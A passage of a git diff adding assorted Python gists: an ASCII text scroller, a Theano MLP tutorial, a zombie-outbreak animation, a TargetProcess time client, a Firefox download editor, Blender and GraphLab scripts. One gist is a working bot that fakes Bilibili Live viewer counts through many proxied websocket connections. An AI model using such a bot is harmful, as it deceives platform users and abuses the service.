+    os.system('cls' if os.name == 'nt' else 'clear')
+
+
+def get_text_size(font, text):
+    return font.getsize(text)
+
+
+def text_to_ascii_text(font, text, cols, lines):
+    """Convert text to ASCII art text banner"""
+    image = Image.new('RGB', (cols - 1, lines - 1), (255, 255, 255))
+    draw = ImageDraw.Draw(image)
+    draw.text((0, 0), text, fill='black', font=font)
+    width, height = image.size
+    pixels = image.load()
+    # convert image pixels to ASCII art
+    out = ''
+    for y in range(height):
+        for x in range(width):
+            pix = pixels[x, y]
+            if pix != (255, 255, 255):
+                out += '#'
+            else:
+                out += ' '
+        out += '\n'
+    return out
+
+
+def main():
+    """Main"""
+    text = 'Scrolling ASCII text in console.'
+
+    font = ImageFont.load_default()
+    # font = ImageFont.truetype('arial.ttf', 16)
+
+    # get size of space char
+    space_width = get_text_size(font, ' ')[0]
+
+    # get size of text
+    text_height = get_text_size(font, text)[1]
+
+    # resize console
+    cols = 100
+    lines = int(text_height * 1.25)
+    init_console(cols, lines)
+
+    # add some padding to the text
+    padding = ' ' * int(cols / space_width + 1)
+    text = padding + text
+
+    index = 0
+    try:
+        while True:
+            clear_console()
+            print(text_to_ascii_text(font, text[index:], cols, lines))
+            index += 1
+            if index > len(text):
+                index = 0
+            time.sleep(0.1)
+    except KeyboardInterrupt:
+        pass
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6a9e5ef2921c0214eeeb/._snippet.py b/hard-gists/6a9e5ef2921c0214eeeb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6a9e5ef2921c0214eeeb/._snippet.py differ
diff --git a/hard-gists/6a9e5ef2921c0214eeeb/snippet.py b/hard-gists/6a9e5ef2921c0214eeeb/snippet.py
new file mode 100644
index 00000000..296f2d82
--- /dev/null
+++ b/hard-gists/6a9e5ef2921c0214eeeb/snippet.py
@@ -0,0 +1,193 @@
+"""A stripped-down MLP example, using Theano.
+
+Based on the tutorial here: http://deeplearning.net/tutorial/mlp.html
+
+This example trims away some complexities, and makes it easier to see how Theano works.
+
+Design changes:
+
+* Model compiled in a distinct function, so that symbolic variables are not in run-time scope.
+* No classes. Network shown by chained function calls.
+
+Some features of original have been dropped:
+
+* Inputs streamed to model, not pre-loaded as given
+* Minibatch size 1, i.e. `true' stochastic update
+* No early stopping
+
+Released under MIT license
+Copyright Matthew Honnibal, 2015.
+"""
+import os
+import sys
+import time
+from os import path
+
+import numpy
+
+import theano
+import theano.tensor as T
+import gzip
+import cPickle
+
+
+def load_data(dataset):
+    ''' Loads the dataset
+
+    :type dataset: string
+    :param dataset: the path to the dataset (here MNIST)
+    '''
+    # Download the MNIST dataset if it is not present
+    data_dir, data_file = os.path.split(dataset)
+    if data_dir == "" and not os.path.isfile(dataset):
+        # Check if dataset is in the data directory.
+        data_dir = os.path.join(os.path.split(__file__)[0], "..", "data")
+        if not path.exists(data_dir):
+            print "No data directory to save data to. Try:"
+            print "mkdir ../data"
+            sys.exit(1)
+        new_path = path.join(data_dir, data_file)
+        if os.path.isfile(new_path) or data_file == 'mnist.pkl.gz':
+            dataset = new_path
+
+    if (not os.path.isfile(dataset)) and data_file == 'mnist.pkl.gz':
+        import urllib
+        url = 'http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz'
+        print 'Downloading data from %s' % url
+        urllib.urlretrieve(url, dataset)
+
+    print '... loading data'
+
+    # Load the dataset
+    with gzip.open(dataset, 'rb') as f:
+        train_set, valid_set, test_set = cPickle.load(f)
+    return _make_array(train_set), _make_array(valid_set), _make_array(test_set)
+
+
+def _make_array(xy):
+    data_x, data_y = xy
+    return zip(
+        numpy.asarray(data_x, dtype=theano.config.floatX),
+        numpy.asarray(data_y, dtype='int32'))
+
+
+def _init_logreg_weights(n_hidden, n_out):
+    weights = numpy.zeros((n_hidden, n_out), dtype=theano.config.floatX)
+    bias = numpy.zeros((n_out,), dtype=theano.config.floatX)
+    return (
+        theano.shared(name='W', borrow=True, value=weights),
+        theano.shared(name='b', borrow=True, value=bias)
+    )
+
+
+def _init_hidden_weights(n_in, n_out):
+    rng = numpy.random.RandomState(1234)
+    weights = numpy.asarray(
+        rng.uniform(
+            low=-numpy.sqrt(6. / (n_in + n_out)),
+            high=numpy.sqrt(6. / (n_in + n_out)),
+            size=(n_in, n_out)
+        ),
+        dtype=theano.config.floatX
+    )
+    bias = numpy.zeros((n_out,), dtype=theano.config.floatX)
+    return (
+        theano.shared(value=weights, name='W', borrow=True),
+        theano.shared(value=bias, name='b', borrow=True)
+    )
+
+
+# Define how an input is fed through a layer of the network, and how a step of
+# the stochastic gradient descent is computed.
+    
+# Note that these are *symbolic expressions* --- we are just compiling code here.
+# These functions are only called during compile_model.  The *actual* feed-forward
+# and SGD update procedures, which happen iteratively on each example, are 
+# Theano-internal.
+def feed_forward(activation, weights, bias, input_):
+    return activation(T.dot(input_, weights) + bias)
+
+def sgd_step(param, cost, learning_rate):
+    return param - (learning_rate * T.grad(cost, param))
+
+# These are also symbolic.
+def L1(L1_reg, w1, w2):
+    return L1_reg * (abs(w1).sum() + abs(w2).sum())
+
+
+def L2(L2_reg, w1, w2):
+    return L2_reg * ((w1 ** 2).sum() + (w2 ** 2).sum())
+ 
+
+def compile_model(n_in, n_classes, n_hidden, learning_rate, L1_reg, L2_reg):
+    '''Compile train and evaluation functions, which we'll then call iteratively
+    to train the parameters.  This function is called exactly once --- think of
+    it like a compiler.  We declare variables, allocate memory, and define some
+    computation.
+    '''
+    # allocate symbolic variables for the data
+    x = T.vector('x')  # Features
+    y = T.iscalar('y') # (Gold) Label
+    
+    # Allocate and initialize weights.  These are stored internally, and updated.
+    hidden_W, hidden_b = _init_hidden_weights(n_in, n_hidden)
+    logreg_W, logreg_b = _init_logreg_weights(n_hidden, n_classes)
+
+    # Estimate P(y | x) given the current weights
+    p_y_given_x = feed_forward(
+                      T.nnet.softmax,
+                      logreg_W,
+                      logreg_b,
+                      feed_forward(
+                          T.tanh,
+                          hidden_W,
+                          hidden_b,
+                          x)) # <--- Our input variable (the features)
+
+    cost = (
+        -T.log(p_y_given_x[0, y]) # <-- Negative log likelihood of gold label
+        + L1(L1_reg, logreg_W, hidden_W)
+        + L2(L2_reg, logreg_W, hidden_W)
+    )
+
+    # Compile the training function.  Successive calls to this update the weights.
+    # Internal state is maintained.
+    # The output is "cost", which requires the computation of p_y_given_x.  We
+    # also define how to update the weights based on the input label.
+    train_model = theano.function(
+        inputs=[x, y],
+        outputs=cost, # <-- Output depends on cost, which depends on P(y | x)
+        updates=[
+            (logreg_W, sgd_step(logreg_W, cost, learning_rate)),
+            (logreg_b, sgd_step(logreg_b, cost, learning_rate)),
+            (hidden_W, sgd_step(hidden_W, cost, learning_rate)),
+            (hidden_b, sgd_step(hidden_b, cost, learning_rate)),
+        ]
+    )
+
+    # Compile the evaluation function, which returns a 0/1 loss wrt the true
+    # label.  Note that the output depends on p_y_given_x, so the program must
+    # compute it.
+    evaluate_model = theano.function(
+        inputs=[x, y],
+        outputs=T.neq(y, T.argmax(p_y_given_x[0])),
+    )
+    return train_model, evaluate_model
+
+
+def main(learning_rate=0.01, L1_reg=0.00, L2_reg=0.0001, n_epochs=1000,
+             dataset='mnist.pkl.gz', n_hidden=500):
+    train_examples, dev_examples, test_examples = load_data(dataset)
+    print '... building the model'
+    train_model, evaluate_model = compile_model(28*28, 10, n_hidden, learning_rate, L1_reg, L2_reg)
+    print '... training'
+    for epoch in range(1, n_epochs+1):
+        for x, y in train_examples:
+            train_model(x, y)
+        # compute zero-one loss on validation set
+        error = numpy.mean([evaluate_model(x, y) for x, y in dev_examples])
+        print('epoch %i, validation error %f %%' % (epoch, error * 100))
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/6aa898d22e74aa9dafc3/._snippet.py b/hard-gists/6aa898d22e74aa9dafc3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6aa898d22e74aa9dafc3/._snippet.py differ
diff --git a/hard-gists/6aa898d22e74aa9dafc3/snippet.py b/hard-gists/6aa898d22e74aa9dafc3/snippet.py
new file mode 100644
index 00000000..2063e111
--- /dev/null
+++ b/hard-gists/6aa898d22e74aa9dafc3/snippet.py
@@ -0,0 +1,142 @@
+"""
+Model of a Zombie outbreak in France, starting in Grenoble
+
+This is a rewrite from this blog post by Max Berrgren:
+
+http://maxberggren.github.io/2014/11/27/model-of-a-zombie-outbreak/
+
+with a different country, a slightly different model, and different
+libraries. The map of population density is taken from Wikimedia Commons
+
+Model
+------
+
+I use a modified SIR model. "Modified" because I didn't fully understood
+SIR when I wrote the code. The population is divided in 3 categories:
+
+S = Sane people
+I = People who have been beaten, they are Incubating, soon-to-be Zombies
+R = Rampaging Zombies, who bite sane people.
+
+The rules are as follows:
+- Sane citizen don't move (the army forbids it) until they get biten
+  by a zombie
+- Biten people move fast (they don't control themselves) and after
+  some time they are tranformed into zombies. As a consequence, some
+  cities like Paris will be contaminated by these people, ahead of the
+  main zombie wave.
+- Zombies walk slowly and bite people.
+
+All units are really much arbitrary and tuned to make a sexy animation.
+
+Result
+-------
+See the resulting animation here:
+http://i.imgur.com/BsgBP4g.gif
+
+Blue represents sane citizen, red zombies, and green/yellow infected
+people. Looks like Maubeuge, in the north-east, will (finally) be the
+place to go.
+
+Requirements:
+-------------
+
+Numpy for numerical computations.
+Scipy for the convolution that computes the dispersion
+MoviePy for the animation (requires FFMPEG installed)
+ImageMagick if you want to make a gif
+
+Copyright Zulko 2014, Licence Public Domain (Creative Commons 0)
+
+@NSA, @DGSE => This is just for science. No plans.
+"""
+
+
+import urllib
+import numpy as np
+from scipy.ndimage.filters import convolve
+import moviepy.editor as mpy
+
+
+#### RETRIEVE THE MAP FROM THE WEB
+
+
+filename = ("http://upload.wikimedia.org/wikipedia/commons/a/aa/"
+            "France_-_2011_population_density_-_200_m_%C3%"
+            "97_200_m_square_grid_-_Dark.png")
+urllib.urlretrieve(filename, "france_density.png")
+
+
+#### PARAMETERS AND CONSTANTS
+
+
+infection_rate = 0.3
+incubation_rate = 0.1
+
+dispersion_rates  = [0, 0.07, 0.03] # for S, I, R
+
+# This kernel models how the people/zombies at one position
+# spread to the neighboring positions
+dispersion_kernel = np.array([[0.5, 1 , 0.5],
+                                [1  , -6, 1],
+                                [0.5, 1, 0.5]]) 
+
+france = mpy.ImageClip("france_density.png").resize(width=400)
+SIR = np.zeros( (3,france.h, france.w),  dtype=float)
+SIR[0] = france.get_frame(0).mean(axis=2)/255
+
+start = int(0.6*france.h), int(0.737*france.w)
+SIR[1,start[0], start[1]] = 0.8 # infection in Grenoble at t=0
+
+dt = 1.0 # one update = one hour of real time
+hours_per_second= 7*24 # one second in the video = one week in the model
+world = {'SIR':SIR, 't':0}
+
+
+##### MODEL
+
+
+def infection(SIR, infection_rate, incubation_rate):
+    """ Computes the evolution of #Sane, #Infected, #Rampaging"""
+    S,I,R = SIR
+    newly_infected = infection_rate*R*S
+    newly_rampaging = incubation_rate*I
+    dS = - newly_infected
+    dI = newly_infected - newly_rampaging
+    dR = newly_rampaging
+    return np.array([dS, dI, dR])
+
+def dispersion(SIR, dispersion_kernel, dispersion_rates):
+    """ Computes the dispersion (spread) of people """
+    return np.array( [convolve(e, dispersion_kernel, cval=0)*r
+                       for (e,r) in zip(SIR, dispersion_rates)])
+
+def update(world):
+    """ spread the epidemic for one time step """
+    infect = infection(world['SIR'], infection_rate, incubation_rate)
+    disperse = dispersion(world['SIR'], dispersion_kernel, dispersion_rates)
+    world['SIR'] += dt*( infect + disperse)
+    world['t'] += dt
+
+    
+# ANIMATION WITH MOVIEPY
+
+
+def world_to_npimage(world):
+    """ Converts the world's map into a RGB image for the final video."""
+    coefs = np.array([2,25,25]).reshape((3,1,1))
+    accentuated_world = 255*coefs*world['SIR']
+    image = accentuated_world[::-1].swapaxes(0,2).swapaxes(0,1)
+    return np.minimum(255, image)
+
+def make_frame(t):
+    """ Return the frame for time t """
+    while world['t'] < hours_per_second*t:
+        update(world)
+    return world_to_npimage(world)
+    
+
+animation = mpy.VideoClip(make_frame, duration=25)
+# You can write the result as a gif (veeery slow) or a video:
+#animation.write_gif(make_frame, fps=15)
+animation.write_videofile('test.mp4', fps=20)
\ No newline at end of file
diff --git a/hard-gists/6af3dd8894ec4255a63f/._snippet.py b/hard-gists/6af3dd8894ec4255a63f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6af3dd8894ec4255a63f/._snippet.py differ
diff --git a/hard-gists/6af3dd8894ec4255a63f/snippet.py b/hard-gists/6af3dd8894ec4255a63f/snippet.py
new file mode 100644
index 00000000..26582ae2
--- /dev/null
+++ b/hard-gists/6af3dd8894ec4255a63f/snippet.py
@@ -0,0 +1,221 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+#   Copyright 2015 François Charlier <francois.charlier@enovance.com>
+#
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+
+#
+# This is a simple script to call the TargetProcess REST API to get time
+# entries for the authenticated user for the current day from a configured
+# targetprocess instance (use `-h` to get more options).
+#
+
+from datetime import date, timedelta
+import os
+import os.path
+from prettytable import PrettyTable
+import requests
+import shlex
+import subprocess
+import sys
+import yaml
+
+
+DAYSMAP = {
+    'mon': 0,
+    'tue': 1,
+    'wed': 2,
+    'thu': 3,
+    'fri': 4
+}
+
+
+class TPConfig(object):
+    def __init__(self):
+        if not os.path.exists(TPConfig.config_path()):
+            print("No configuration file found! Will exit now.\n")
+            do_help()
+            exit(1)
+
+        with open(TPConfig.config_path()) as config_file:
+            self.conf = yaml.load(config_file)
+
+    def __getattr__(self, item):
+        return self.conf[item]
+
+    @classmethod
+    def config_path(cls):
+        xdg_config_home = os.environ.get('XDG_CONFIG_HOME', '~/.config')
+        config_path = os.path.join(xdg_config_home, 'targetprocess.yaml')
+        config_path = os.path.expandvars(os.path.expanduser(config_path))
+        return config_path
+
+    @property
+    def auth_password(self):
+        if self.auth_provider == 'command':
+            return self.auth_password_command()
+        elif self.auth_provider == 'yaml':
+            return self.conf['auth_password']
+
+    def auth_password_command(self):
+        # The command should return the password on one line
+        password = subprocess.check_output(shlex.split(self.auth_command))
+        return password.decode('utf-8').strip()
+
+
+class TPClient(object):
+    def __init__(self):
+        self.conf = TPConfig()
+
+    def time_entries(self, date, user=None, span='day'):
+        if user is None:
+            user = self.conf.auth_user
+
+        if span == 'day':
+            PAYLOAD = {
+                'format': 'json',
+                'where': "(User.Email eq '%s') and (Date eq '%s')" % (
+                    user,
+                    date.isoformat()
+                )
+            }
+        elif span == 'week':
+            PAYLOAD = {
+                'format': 'json',
+                'orderby': 'Date',
+                'where': "(User.Email eq '%s') and (Date gte '%s') "
+                         "and (Date lt '%s')" % (
+                             user,
+                             date.isoformat(),
+                             (date + timedelta(5)).isoformat()
+                         )
+            }
+
+        r = requests.get(
+            'https://%s/api/v1/Times' % (self.conf.tp_instance),
+            auth=(self.conf.auth_user, self.conf.auth_password),
+            params=PAYLOAD
+        )
+
+        return r.json()['Items']
+
+
+def relativedays(diff):
+    """Returns the previous named day or diff days from now"""
+    if diff in DAYSMAP:
+        previous = -7
+        if DAYSMAP[diff] < date.today().weekday():
+            previous = 0
+        return date.today() + timedelta(DAYSMAP[diff]
+                                        - date.today().weekday()
+                                        + previous)
+    else:
+        return date.today() + timedelta(int(diff))
+
+
+def startofweek(diff):
+    """Returns the start of the week starting diff weeks from now"""
+    return date.today() - timedelta(date.today().weekday() - 7 * int(diff))
+
+
+def to_date(json_date):
+    str_ts = json_date.replace('/Date(', '').replace(')/', '')
+    (ts, tz) = str_ts.split('-')
+    return date.fromtimestamp(int(ts)/1000)
+
+
+def do_conf():
+    if os.path.exists(TPConfig.config_path()):
+        print("ERROR: configuration file exists in %s. Won't overwrite"
+              % TPConfig.config_path())
+    else:
+        with open(TPConfig.config_path(), 'w') as config:
+            config.writelines([
+                'tp_instance: <instance>.tpondemand.com\n',
+                'auth_user: <email@example.com>\n',
+                'auth_provider: <embedded|command>\n',
+                '# use auth_command with "command" auth_provider\n',
+                '# auth_command: <some command that returns the password on '
+                'one line>\n',
+                '# use auth_password with "embedded" auth_provider\n',
+                '# auth_password: <tpondemand password>\n'
+            ])
+            print("Skeleton configuration file created in %s. Please edit "
+                  "before running again." % TPConfig.config_path())
+
+
+def do_help():
+    print("Usage: %s [<-X>|<day name>]" % sys.argv[0])
+    print(" - <X> being an integer, will return time entries for X days ago")
+    print(" - <day name> in 'mon' 'tue' 'wed' 'thu' 'fri', returns time "
+          "entries for the previous named-day")
+    print(" - default to returning the current day time entries")
+    print("")
+    print("Usage: %s -w [<-X>]" % sys.argv[0])
+    print(" - <X> being an integer, will return time entries for X weeks ago")
+    print(" - default to returning the current week time entries")
+    print("")
+    print("Usage: %s --make-config" % sys.argv[0])
+    print(" - creates a configuration template in $XDG_HOME or ~/.config/"
+          "targetprocess.yml")
+
+
+if __name__ == '__main__':
+    if len(sys.argv) > 1:
+        if sys.argv[1] in ['-h', '--help', 'help']:
+            do_help()
+            exit(1)
+        if sys.argv[1] in ['--make-config']:
+            do_conf()
+            exit(1)
+        if sys.argv[1] in ['-w', '--week']:
+            span = 'week'
+            if len(sys.argv) > 2:
+                dt = startofweek(sys.argv[2])
+            else:
+                dt = startofweek('0')
+            label = ' week starting '
+        else:
+            span = 'day'
+            dt = relativedays(sys.argv[1])
+            label = ''
+    else:
+        span = 'day'
+        dt = date.today()
+        label = ''
+
+    client = TPClient()
+    entries = client.time_entries(dt, user=None, span=span)
+
+    table = PrettyTable(['Date', 'Project', 'Description', 'Spent'])
+    table.float_format = '.1'
+    date_prev = None
+    for entry in entries:
+        if date_prev is not None and date_prev != entry['Date']:
+            table.add_row(['-----']*4)
+        date_prev = entry['Date']
+        table.add_row([
+            to_date(entry['Date']),
+            entry['Project']['Name'],
+            entry['Description'],
+            entry['Spent']
+        ])
+
+    total_time = sum(entry['Spent'] for entry in entries)
+
+    print("Time entries for%s: %s %s" % (label,
+                                         dt.strftime('%A'),
+                                         dt.isoformat()))
+    print(table)
+    print("Total spent time: %.1f" % total_time)
diff --git a/hard-gists/6af6a8478561aa8a0121/._snippet.py b/hard-gists/6af6a8478561aa8a0121/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6af6a8478561aa8a0121/._snippet.py differ
diff --git a/hard-gists/6af6a8478561aa8a0121/snippet.py b/hard-gists/6af6a8478561aa8a0121/snippet.py
new file mode 100644
index 00000000..23314bb2
--- /dev/null
+++ b/hard-gists/6af6a8478561aa8a0121/snippet.py
@@ -0,0 +1,78 @@
+__author__ = 'Eslam Hamouda | eslamx.com'
+
+
+import configparser
+import os.path
+import json
+import io
+
+# get the required files paths to access Firefox AppData
+win_user_profile = os.getenv('USERPROFILE')
+ff_path = r'{0}\AppData\Roaming\Mozilla\Firefox'.format(win_user_profile)
+ini_path = "{0}\\profiles.ini".format(ff_path)
+
+
+# check if the INI configuration file exists to continue or not
+if not os.path.exists(ini_path):
+    print("*** Firefox is not installed or not recognized by this script ***")
+    exit(0)
+
+# parsing the INI file and extract firefox user profile folder name and create the full path
+profiles = configparser.ConfigParser()
+profiles.read(ini_path)
+current_profile_dir = profiles['Profile0']['Path']
+current_profile_path = "{0}\\{1}".format(ff_path,str(current_profile_dir).replace('/','\\'))
+
+# append the downloads.json file to the full path
+downloads_path = current_profile_path + "\\downloads.json"
+
+# check if the downloads.json file exists or not because FireFox automatically removes it if it was empty.
+if not os.path.exists(downloads_path):
+    print("*** You don't have any broken downloads ***")
+else:
+    # read the json file and parse it
+    json_file = open(downloads_path,mode='r+')
+    js = json.load(json_file)
+    json_file.close()
+
+    # a double check for having a paused Downloads
+    if len(js['list']) == 0:
+        print("*** You don't have any broken downloads ***")
+        exit(0)
+
+    print("\n\n**** Current Paused Firefox Downlaods **** \n")
+    
+    # print the current list of paused downloads
+    item_number = 1
+    for download_item in js['list']:
+        # extract the short file name from the file full path
+        fname = str(download_item['target']['path']).split('\\')[-1:][0]
+        # get the file URL
+        furl = download_item['source']
+        # sometimes Firefox saves the file URL inside another object with the referrer URL too if it wasn't a direct link.
+        if type(furl) is dict and download_item['source']['url'] is not None:
+            furl = download_item['source']['url']
+        # some stupid prints with awful formating 
+        print("#{0} : Filename : {1} \n\t URL : {2}\n\t Path : {3} \n\t Size : {4} \n\t Resumable : {5}".format(item_number,
+                                                                                                                fname,
+                                                                                                                furl,
+                                                                                                                download_item['target']['path'],
+                                                                                                                str(round((download_item['totalBytes']/1024)/1024,2)) + " MB",
+                                                                                                                download_item['hasPartialData']
+                                                                                                                ))
+        # items counter
+        item_number += 1
+    # take the user inputs to update the json file
+    file_number = input("\nEnter the file number to Edit the URL with the new one :")
+    file_new_url = input("\nEnter the new URL :")
+    #update the json object
+    js['list'][int(file_number) - 1]['source'] = file_new_url
+    # write the json object into the downloads.json file with updated values.
+    json_file = open(downloads_path,mode='w')
+    json.dump(js,json_file,ensure_ascii=False)
+    json_file.close()
+
+print("*** URL has been updated | you need to restart Firefox to see the changes ***")
+print("After restart you can resume the file from Firefox Downloads window ;)")
+exit(0)
+# now you are happy with your resumable download ;)
\ No newline at end of file
diff --git a/hard-gists/6b2273d7e332f29193d0/._snippet.py b/hard-gists/6b2273d7e332f29193d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6b2273d7e332f29193d0/._snippet.py differ
diff --git a/hard-gists/6b2273d7e332f29193d0/snippet.py b/hard-gists/6b2273d7e332f29193d0/snippet.py
new file mode 100644
index 00000000..ceec92e3
--- /dev/null
+++ b/hard-gists/6b2273d7e332f29193d0/snippet.py
@@ -0,0 +1,129 @@
+#!/usr/bin/env python
+#coding:utf-8
+# Author:  Beining --<cnbeining#gmail.com>
+# Purpose: A simple script to get lots of viewers of Bilibili Live
+# Created: 08/11/2015
+# Error report: http://www.cnbeining.com/?p=952
+# https://github.com/cnbeining  somewhere within my gists
+
+import sys
+import time
+import getopt
+from multiprocessing import Process
+from websocket import create_connection, WebSocketConnectionClosedException, WebSocketProxyException, WebSocketException
+import random
+import re
+import traceback
+import socket
+
+global proxy_list
+
+#----------------------------------------------------------------------
+def fake_connector(cid, is_proxy = False):
+    """"""
+    try:
+        if is_proxy:
+            proxy_server = random.choice(proxy_list)
+            host, port = proxy_server.split(':')
+            ws = create_connection('ws://livecmt.bilibili.com:88/{cid}'.format(cid = cid), http_proxy_host = host, http_proxy_port = int(port))
+        else:
+            ws = create_connection('ws://livecmt.bilibili.com:88/{cid}'.format(cid = cid))
+        while 1:
+            time.sleep(5)
+            a = ws.recv()
+    except (WebSocketProxyException, socket.error, TypeError):  #proxy server died
+            #/usr/local/lib/python2.7/site-packages/websocket/_http.py L186 WTF????
+        print(proxy_server + ' died!')
+        try:
+            proxy_list.remove(proxy_server)
+        except Exception, err:
+            print(traceback.format_exc())
+    except (WebSocketConnectionClosedException, WebSocketException):
+        return -1
+    except Exception, err:
+        print(traceback.format_exc())
+        return 0
+    finally:
+        return
+
+#----------------------------------------------------------------------
+def main(cid, thread_number, is_proxy = False):
+    """"""
+    #Get a list of threads
+    process_list = [Process(target=fake_connector, args=((cid, is_proxy, ))) for i in xrange(int(thread_number))]  #Queue? Your ass
+    [i.start() for i in process_list]  #ignite every one
+    try:
+        while 1:
+            alive_list = [i.is_alive() for i in process_list]
+            print('Active thread: ' + str(len(alive_list)))
+            death_position_list = [i for i, x in enumerate(alive_list) if x == False]
+            if len(death_position_list) > 0:  #someone died
+                print('Some died, adding {COUNT} new threads'.format(COUNT = len(death_position_list)))
+                for i in death_position_list:
+                    del process_list[i]  #remove body
+                    process_list.append(Process(target=fake_connector, args=((cid, is_proxy, ))))
+                    process_list[-1].start()  #ignite
+            time.sleep(3)
+    except Exception as e:
+        print(e)
+        for i in process_list:
+            try:
+                i.terminate()  #ensure safe exit
+            except:
+                pass
+        exit()
+
+#----------------------------------------------------------------------
+def proxy_file_to_list(proxy_file):
+    """fileIO->list
+    file:
+    112.20.190.135:80
+    223.151.86.8:9000
+    171.36.67.213:8090
+    124.202.168.26:8118
+    219.133.31.120:8888
+    
+    list:
+    ['112.20.190.135:80', '223.151.86.8:9000', '171.36.67.213:8090',...
+    """
+    final_list = []
+    pattern = re.compile(r'\d+.\d+.\d+.\d+:\d+')  #117.149.219.176:8123
+    with open(proxy_file, 'r') as file_this:
+        final_list = [line.strip() for line in file_this if pattern.match(line)]
+    return final_list
+
+#----------------------------------------------------------------------
+def usage():
+    """"""
+    print('''Use as:
+    -c: cid, room number
+    -t: thread number
+    -p: proxy file
+    
+    Press Ctrl+C to exit.
+    ''')
+
+if __name__=='__main__':
+    is_proxy = False
+    argv_list = sys.argv[1:]
+    try:
+        opts, args = getopt.getopt(argv_list, "hc:t:p:",
+                                   ['help', "cid=", 'thread_number=', 'proxy_file='])
+    except getopt.GetoptError:
+        usage()
+        exit()
+    for o, a in opts:
+        if o in ('-h', '--help'):
+            usage()
+            exit()
+        if o in ('-c', '--cid'):
+            cid = a
+        if o in ('-t', '--thread_number'):
+            thread_number = int(a)
+        if o in ('-p', '--proxy_file'):
+            is_proxy = True
+            proxy_file = a
+    if is_proxy:
+        proxy_list = proxy_file_to_list(proxy_file)
+    print('Getting room {cid} {thread_number} viewers...'.format(cid = cid, thread_number = thread_number))
+    main(cid, thread_number, is_proxy)
diff --git a/hard-gists/6b2944d74ec9dd229938/._snippet.py b/hard-gists/6b2944d74ec9dd229938/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6b2944d74ec9dd229938/._snippet.py differ
diff --git a/hard-gists/6b2944d74ec9dd229938/snippet.py b/hard-gists/6b2944d74ec9dd229938/snippet.py
new file mode 100644
index 00000000..1572b54c
--- /dev/null
+++ b/hard-gists/6b2944d74ec9dd229938/snippet.py
@@ -0,0 +1,41 @@
+# IMPORTANT: make sure no animation is assigned
+# to the rig before you run this script,
+# otherwise linked animation data will be corrupted.
+
+import bpy
+
+# ----------------------------------
+# Mixamo left/right bone names start with 'Left'/'Right'
+# Instead we apply Blender's standard .L/.R suffix
+# and get rid of long suffix
+# ----------------------------------
+
+def makeStandardBoneName(x):
+    x = x[10:]
+    if 'Left' in x:
+        x = x[4:]+".L"
+    if 'Right' in x:
+        x = x[5:]+".R"
+    return x
+
+# ----------------------------------
+# Standardize bone names.
+# ----------------------------------
+
+for armature in bpy.data.armatures:
+    for bone in armature.bones:
+        n = bone.name
+        if 'mixamorig:' in n:
+            bone.name = makeStandardBoneName(n)
+
+# ----------------------------------
+# Convert animation channel names
+# ----------------------------------
+
+for action in bpy.data.actions:
+    for curve in action.fcurves:
+        p = curve.data_path
+        if 'mixamorig:' in p:
+            e = p.split("\"")
+            x = makeStandardBoneName(e[1])
+            curve.data_path = e[0]+"\""+x+"\""+e[2]
diff --git a/hard-gists/6b93a8028f4dc40cab49/._snippet.py b/hard-gists/6b93a8028f4dc40cab49/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6b93a8028f4dc40cab49/._snippet.py differ
diff --git a/hard-gists/6b93a8028f4dc40cab49/snippet.py b/hard-gists/6b93a8028f4dc40cab49/snippet.py
new file mode 100644
index 00000000..b676eb63
--- /dev/null
+++ b/hard-gists/6b93a8028f4dc40cab49/snippet.py
@@ -0,0 +1,56 @@
+import graphlab as gl
+import math
+import random
+
+train = gl.SFrame.read_csv('data/train.csv')
+test = gl.SFrame.read_csv('data/test.csv')
+del train['id']
+
+def make_submission(m, test, filename):
+    preds = m.predict_topk(test, output_type='probability', k=9)
+    preds['id'] = preds['id'].astype(int) + 1
+    preds = preds.unstack(['class', 'probability'], 'probs').unpack('probs', '')
+    preds = preds.sort('id')
+    preds.save(filename)
+
+def multiclass_logloss(model, test):
+    preds = model.predict_topk(test, output_type='probability', k=9)
+    preds = preds.unstack(['class', 'probability'], 'probs').unpack('probs', '')
+    preds['id'] = preds['id'].astype(int) + 1
+    preds = preds.sort('id')
+    preds['target'] = test['target']
+    neg_log_loss = 0
+    for row in preds:
+        label = row['target']
+        neg_log_loss += - math.log(row[label])
+    return  neg_log_loss / preds.num_rows()
+
+def shuffle(sf):
+    sf['_id'] = [random.random() for i in xrange(sf.num_rows())]
+    sf = sf.sort('_id')
+    del sf['_id']
+    return sf
+
+def evaluate_logloss(model, train, valid):
+    return {'train_logloss': multiclass_logloss(model, train),
+            'valid_logloss': multiclass_logloss(model, valid)}
+
+params = {'target': 'target',
+          'max_iterations': 250,
+          'max_depth': 10,
+          'min_child_weight': 4,
+          'row_subsample': .9,
+          'min_loss_reduction': 1,
+          'column_subsample': .8,
+          'validation_set': None}
+
+train = shuffle(train)
+
+# Check performance on internal validation set
+tr, va = train.random_split(.8)
+m = gl.boosted_trees_classifier.create(tr, **params)
+print evaluate_logloss(m, tr, va)
+
+# Make final submission by using full training set
+m = gl.boosted_trees_classifier.create(train, **params)
+make_submission(m, test, 'submission.csv')
\ No newline at end of file
diff --git a/hard-gists/6b9bae1310f2ee6b47ba3663bdcb1ded/._snippet.py b/hard-gists/6b9bae1310f2ee6b47ba3663bdcb1ded/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6b9bae1310f2ee6b47ba3663bdcb1ded/._snippet.py differ
